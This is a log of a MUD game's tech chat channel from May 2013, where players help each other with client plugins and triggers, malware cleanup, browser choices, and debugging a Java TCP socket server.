T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hanslanda Tech: there are also rules and customary procedures for operating in testport, too, so don't think you'll be able to get a leg up on the main port.
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hanslanda Tech: how would one determine combat rounds via messaging?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: look for the line with Your in it?look
T3/r7/2013-05-13.txt.gz:{chan ch=tech}[Outlaw] Drakoth Tech: and []
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hanslanda Tech: wouldn't it be better to work off the target health line (blah has some very nasty wounds, etc)?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Leinei Tech: gmcp tells you what your current status is (e.g. fighting)
T3/r7/2013-05-13.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: how about off battle prompt
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Leinei Tech: Oh, or do you mean when each round comes?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hanslanda Tech: I wanted to explore formatting possibilities outside of the DAMAGE verb.
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hanslanda Tech: I ultimately want to change around how combat gets displayed to me, but I haven't decided on what to do yet.
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Doc Holliday Tech: i just changed it to 2 lines dmg taken and dmg delt with # rounds of combat
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Hanslanda Tech: how are you figuring out how many rounds, though?
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Doc Holliday Tech: https://www.evernote.com/shard/s272/sh/64a0811c-849d-4f12-a43e-5744581e6910/47f22d054c7c09d46d341fdc8fd88771
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Doc Holliday Tech: it's technically delayed and after the prompt - but it works for me
T3/r7/2013-05-13.txt.gz:{chan ch=tech}Azrael Tech: is anyone else having problems with the mxit Aardwolf RPG client where the keyboard is either mapped incorrectly or slightly off so I hit l and get k?
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Vonliege Tech: would anyone perchance know the name of the variable assigned to the target mob for search and destroy?
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Failboat Tech: sorry
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Fravardin Tech: The S4 is a good device just that Smart scroll isn't working
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Vonliege Tech: would anyone happen to know the name of the variable assigned to 'short name' for search and destroy?
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Hanslanda Tech: can't you just open the plugin in notepad and search for it?
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Vonliege Tech: that'd be a great suggestion, Hans... and I did... but I didn't really know what I was looking at... I can identify the radiator of a car 99 times out of 100, but these scripts are alien to me
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Vonliege Tech: is there a way to display all the variable loaded in memory for aardwolf?
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: is the tesla model S worth it?
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: i know there are some palo alto script kids or connecticutt wall st. hippies on here
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Hanslanda Tech: well, the Tesla is basically a giant cellphone with wheels and a steering wheel.
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: does that mean it will give me cancer?
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Hanslanda Tech: nah, battery won't last nearly that long.
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: grae are you there
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: I still haven't run ESET.  I just got back and keep forgetting.  then i will hand out trivia pointz
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: why didn't you think to code Puzzles and Dragons?
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Doink Tech: On MUSH, im trying to make a simple trigger from a line of text, if the line text is in a different color would that effect what I need for the trigger line?
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: no but it might affect
T3/r7/2013-05-14.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: only if you're trying to match on a certain color
T3/r7/2013-05-14.txt.gz:{chan ch=tech}The Reaper Myrkul Tech: there's options for that in the trigger editor
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Doink Tech: Im not, not sure why i cant get it to fire.. thanks
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Doink Tech: just fired meh.. thanks guys
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Tech: heh, if it just fired, then you wrote it wrong :P
T3/r7/2013-05-14.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: lol
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Doink Tech: I wasnt patient enough for it to occur
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: Below the flare, you hear Dabbil scream 'HEAR ME FOR I HAVE CONQUERED!'
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Not Guilty Kojiro Tech: so how do i get in on this hearthstone beta?
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Tech: http://wow.joystiq.com/2013/04/26/how-to-sign-up-for-the-hearthstone-beta/
T3/r7/2013-05-14.txt.gz:{chan ch=tech}Aurelia Tech: I'm using mudlet with the aard extension. My cps are shown in the quest area, however when I request a quest the target doesn't show up, only notification that I can quest, completion and the mccp bonus. Any idea as to how to get the quest info into that window?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: ok so one of these miniwindows is somehow stuck up under the toolbar and I can't move it around now... right click won't work either to pull it to front
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: so it's just stuck there pissing me off
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: search & destroy gui?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}VampireDude Tech: have you tried rebooting your computer?  
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: yeah
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: funny Vamp :p
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: type xset reset gui
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: known issue I see
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: nice.. thanks
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Rurouni Kinjin Tech: np
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: yeah that line is going on notes :)
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Rebbit Tech: I appear to be experienceing a rather strange issue, im using the latest official release of MUSH and I have no triggers set up currently yet every tick with echocommand toggled on i am seeing 'pick data' entered and the respons from the server is 'you did not find a data' any ideas?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: you have an alias for either "p" or "prompt" to "pick"
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Rebbit Tech: even without typing anything?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: yes, the client is trying to verify what your prompt is set to
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Rebbit Tech: oh
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: so it sends "p data" on older versions, and "prompt data" in newer versions
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Rebbit Tech: i just unaliased p from pick data and now it shows 'you entered:: p data'
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Rebbit Tech: i mean unaliased p from 'pick'
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Rebbit Tech: aha seems to have stopped
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Rebbit Tech: thanks :)
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: no prob :-)
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Rebbit Tech: was getting very irritating lol
T3/r7/2013-05-15.txt.gz:{chan ch=tech}VampireDude Tech: is there a way to see how much gamma radiation it takes to be unhealthy?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}HelloMudda Korridel Tech: That's not exactly a tech question, Vampiredude.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: google?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: ugh... what's the better browser overall right now? firefox or chrome?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: Chrome
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: opera
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Seniseis Tech: IE !!
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: I used to be a FF nut... but eventually Chrome came out on top
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Lynx
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: i keep getting this odd error in IE that says -- If you are seeing this page, it is likely that you need to reboot your computer (and router, if you are on a home network) to regain  your Internet connectivity. Your connectivity should be returned  to normal at that time. -- my ISP says it's malware
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Jhav Tech: What's strange then?  It's clearly malware.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Jhav Tech: Take normal malware-removal steps.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Jhav Tech: Continue with life.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Sommeil Tech: can you get your hands on something like super anti spyware?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Sommeil Tech: or is this your only computer and you cant use the browser at all?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: just dont use norton, its a virus in itself
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Sommeil Tech: anything lightweight that only runs when you ask it to.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: well my ISP autoloads McAfee and I have Spybot S&D as a backup
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto convulses as he shudders in disgust.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Mushambo Tech: malwarebytes
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: mcafree stoped steam from working when it was removed :(
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: only now the only things on my browser i can access are my bookmarks (and only the ones i have saved into my Lastpass account)
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: i can't even access www.google.com, www.yahoo.com or anything else generic
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Sommeil Tech: do you have a smartphone?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: no, my phone does have web access but it's kinda a dumb phone :P
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: Combofix
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: go find it and run it :p
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Sommeil Tech: do you have a email program, not browser based?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: i wish ... i ony use my yahoo or hotmail :/
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: my tech support said to stop using IE and load Chrome or Firefox into the PC and use that as my primary browser from now on since i don't have the drivers to fix IE
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: hahaha... Chrome
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: (Overlord) Onslaught enthusiastically high-fives Princess Vanellope!
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: but i don't like google :(
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: Mushambo gasps in astonishment.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: get opera then its a good one
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: that's ok, I don't like Disney, but Iron Man 3 is still so awesome!
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: hmm... isn't opera that icky mac broswer though?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: its not a mac browser as far as im aware
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i thought they used Firefox
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Sommeil Tech: Hah. That's Safari.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: meh :( i thought i had my computer all nice and safe and this happens. 
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: i never used chrome before though... anything goofy about it i need to know?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}ElFeneri Tech: works fine
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: sometimes there are sites you'll still need IE for
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: meh :/
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: but it's rare
T3/r7/2013-05-15.txt.gz:{chan ch=tech}ElFeneri Tech: haven't seen one of those non-IE compatible sites in years
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Ontuct Tech: I have
T3/r7/2013-05-15.txt.gz:{chan ch=tech}ElFeneri Tech: unless you mean SAP-stuff
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: didnt know any more existed
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Book of Etzli Tech: I've seen a few non-IE compatible sites... they're getting more common, I think.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: there are some pages that require compatibility mode
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: yeah.. you see it sounds odd, but not everyone's life experience is the same as yours
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: well... anyone have any suggestions for my mcafee/spybot S&D setup too? is there anything better than spybot for catching the malware mcafee misses?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: i found avira works quite well
T3/r7/2013-05-15.txt.gz:{chan ch=tech}ElFeneri Tech: I've been able to use Chrome for years without any problem what so ever so it can't be that common.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Book of Etzli Tech: I've ran into a few "IE-Only" sites.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Ontuct Tech: for me it was a manufacturer that had online cataloging for parts.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: my job has an IE-only site ... but that's because our IT guy owns stock in microsoft and won't budge :/
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: full system virus scans take too long... poopie :(
T3/r7/2013-05-15.txt.gz:{chan ch=tech}ElFeneri Tech: that's still common though, many intranets are stuck with IE-dependencies
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Xaeris Tech: What Elfeneri said - I doubt it's due to him having "stock" in Microsoft.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Sonshi Tech: if he's really putting a small personal interest over his company's, that sounds like a firing offence...
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: that's our running joke with him... although i think he does own like 10 share of stock
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: additional log on information required.... meh, stupid errors. i don't have any log on information for my browser >.<
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: oh hey i can access google ..
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: Does anyone have suggestions for a good site to start learning how to make mushclient plugins? Something that would help with connecting them to gmcp would be even better. I've looked at the aard gmcp wikki site and it looks like a good reference, but I need something a little more beginner style to even get started. I'm used to tintin++/old zmud style of scripting, so I"m pretty much starting from scratch
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: try asking Bast? he does alot of them
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: http://www.gammon.com.au/forum
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Ayasinda Tech: http://www.mushclient.com/forum/bbshowpost.php?bbsubject_id=6030
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: if you wanna stick to tintin you can ask Ixle... he's like a tintin demigod :/
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: (got paid to say that)
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: LOL
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: haha, well I"m trying to convert fully to mushclient to use the mapper and other things. But there are things I want to do for screen reader purposes that gmcp would be good for, if I can just wrap my head around it. Thanks, guys
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: i'm going to try to install Chrome
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: and it doesn't wanna download :/
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: try opera
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: IE got all weird on me again :(
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Any java guys with TCP/UDP experience care to help me debug why my server object is only recieving the first message?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: what you mean only first ?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: you could use to wireshark what messages are exchanged between client/ server
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If I do a out.write() (out being my OutputSteamWriter ther server will get the first message, but if I try and send another, the server sees nothing. I think my thread that's running my Runnable server implementation is dying out.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: does write flush buffers ?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: The server does a flush() after each instance, yeah
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: you mean, client does out.write() then flush, right ?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Essentially what i've done is create a 'server app' and a 'client app', that run on Android devices. The 'client' app allows you to specify the server's ip, and then send a message. If I send 'test', I'll recieve 'test' on the server, but then if i try and send "test" or anything else (wihtout restarting the server) nothign happens. But if i kill/re-launch the app, it'll get the first message again.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: no, i'm flushing on the server, should I do a write then flush on the client side?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: it seem like you leave reading loop on server side
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: both
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: I mean: read/write operations for TCP may be buffered
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Well, I'm using a BufferedReader object to pass the data.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: if they are, then 2nd try on client side to send waits till buffer fills up
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: BufferedWriter out = new BufferedWriter(new OutputStreamWriter(s.getOutputStream()));
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: and ufferedReader in = new BufferedReader(new InputStreamReader(s.getInputStream()));
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: BufferedReader*
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: look at this http://stackoverflow.com/questions/13572839/tcp-ip-connects-and-sends-but-doesnt-work-after-initial-sends
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: seems a bit similar to your problem
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Hmm, by that post it seems I should be looking for a missing or non-hitting .close()
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: you should execute Flush() after you've called your Write() 
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: that's conclusion of that article
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Making those mods now, lemme get it running and see.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: .close() do flushes buffers
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: interesting...
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: If i .close() after a write it works fine (except for the one-off message issue), but if I do .flush() it'll hand the app
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: hang*
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: maybe you try to readln on client side or so
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: I am not sure whether you are able to use wireshark or not, but it could help you a lot to see whether your messages are delivered to/from client/server
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Mye Tech: not sure of specific implementations here, but is the communication synchronous or asynchronous? synchronous would wait for an ack (potentially hang app if it never gets one), but asynchronous would not
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I have the listening port running on a background thread.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: maybe you need TCP_NODELAY
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: see that: http://stackoverflow.com/questions/7297173/android-outputstreamwriter-didnt-send-the-data-after-flush-socket
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: and that: http://stackoverflow.com/questions/4829761/java-objectoutputstream-on-socket-not-flushing
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Apparently someone has mightier google-fu than I ;)
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Apparently someone has mightier google-fu than I ;)tech -h
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: fail... sorry
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: [Outlaw] Remarto is agreeing with that Helperful Cheezburger person again...
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: K, so turned on NoDelay, no change whatsoever :P
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: try using telnet instead of your client
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: also, are you sure, that your server does not leave reading loop after 1st message ?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: interesting indeed.... Using straight telnet, I can connect and get accpeted, I can issue one command, and then the connection is closed. Somewhere my server is doing bad things
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I can pastebin the entire server code for ya, it's actually extremely small and simple
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: go on
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: http://pastebin.com/YnukWJqi
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: And to initialize it, I have `t=new Thread(new StartServer()); t.start();
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: but, where is the LOOP ?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I nuked it out cuz it was breaking things
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: your serve is one line reader
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: So what, just put the while (serverState) back around the entire run()?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: Helperful Cheezburger . o O ( serverState is a boolean, true means running, false means not )
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: rather: while(true) { input = in.readline 
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: rather: while(true) { input = in.readline ; out.write (....); out.flush();  }
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: also, you should set setTcpNoDelay on server socket
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: tried, wasn't a method of ServerSocket only of Socket
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I did it get it fixed, though. Thanks
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Thrys Tech: off
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: look at this: http://darksleep.com/player/SocketExample/VerySimpleServer.java.html
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Was the loop, obviously
T3/r7/2013-05-15.txt.gz:{chan ch=tech}[Outlaw] Remarto Tech: to turn the channel off just type tech thr
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: you get socket descriptor by accept, then read / write
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Trachx Tech: still, such server is single thread, single client
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Yeah, I looed at that one. Unfortunately mine gets a little more complex. The purpose of the app is to turn any phone into a set-top box and relay server, and have any other mobile device (with authentication) work as a remote for it.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Now that I got the server up and running, the fun part of writing a new scripting language for it begins :P
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: For some reason though, my server's seeing double. send hi --> "Recieved: hi\nReceived: hi"
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Mye Tech: try an explicit .newLine() before your .flush() on the client?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: Well, mye, I know it's gotta be something on the server end. it does that via raw telnet too.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: K, so I've got everything working between the two now ... except for one small thing. I can only connect 1 client to the server at a time... Any ideas?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: I got it solved, actually. I'm not sure what the real culprit was, but i just add a `if (input.length() > 1) {}` around my out.write() logic.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Helperful Cheezburger Tech: mischan :P
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Tech: VampireDude eyes the a priori logic.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}(Overlord) Onslaught Tech: sooooo... am I just doing it wrong, or is music.google.com now a p2p service?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Hanslanda Tech: nope, you're not doing it wrong.  30 days free trial, then 7.99 after that.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: So I'm trying a hack to get a plugin working by modifying and combining two other plugins... I know, scary. Referring to mushclient here. Anyway, under the gmcp section on one of these plugins, it's got a check for a long hex number which is supposed to be looking for the  gmcp handler. Would this number be plugin specific, or is it ok to copy that part?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Zetkax Tech: copy it
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Each plugin is given a unique identifying number - the GMCP helper plugin has one number, which is unique for itself, but common across other plugins
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: What you should *never* copy, is the ID for the 2 plugins - give them uniqe identifiers, or bad things can happen. You can get a new ID by using the Plugin Wizard and creating an empty plugin.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Laughing Airmeith Tech: will this mean that the combined plugin might need its own?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Yes
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: I was just going to ask that. Ok
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Hanslanda Tech: isn't there a way to retrieve the UID?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: you don't need to create an empty plugin, there's a generate id option somewhere
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: might be in the file menu, don't remember exactly
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: err, what if I just changed something minor in another plugin? Do I need a new id for that, too? I'm just talking changing a couple sound file names and fixing a no longer working trigger
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Arnica Tech: make it 42, that should be safe
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Laughing Airmeith Tech: no, that's fine
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: if you want to release it as a new version of the old plugin, then it would keep the same id
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Faylen Tech: Aha! Ok
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: if it's its own unique plugin, it should have its own unique id
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Being careful that if you are forking an existing plugin, it should probably get a new id
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Hanali Celanil Tech: no two plugins can have the same id
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: The issues mostly occur when plugins save information, and when they create windows.
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Laughing Airmeith Tech: just changing sound triggers and fixing a trigger, though, should be okay
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: anyone know why a webpage would show like and old Netscape text page in Chrome?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Captain HR Vakieh Tech: Chrome is partially running on old Netscape code, isn't it?
T3/r7/2013-05-15.txt.gz:{chan ch=tech}Princess Vanellope Tech: but i mean like it's all text, no formatting
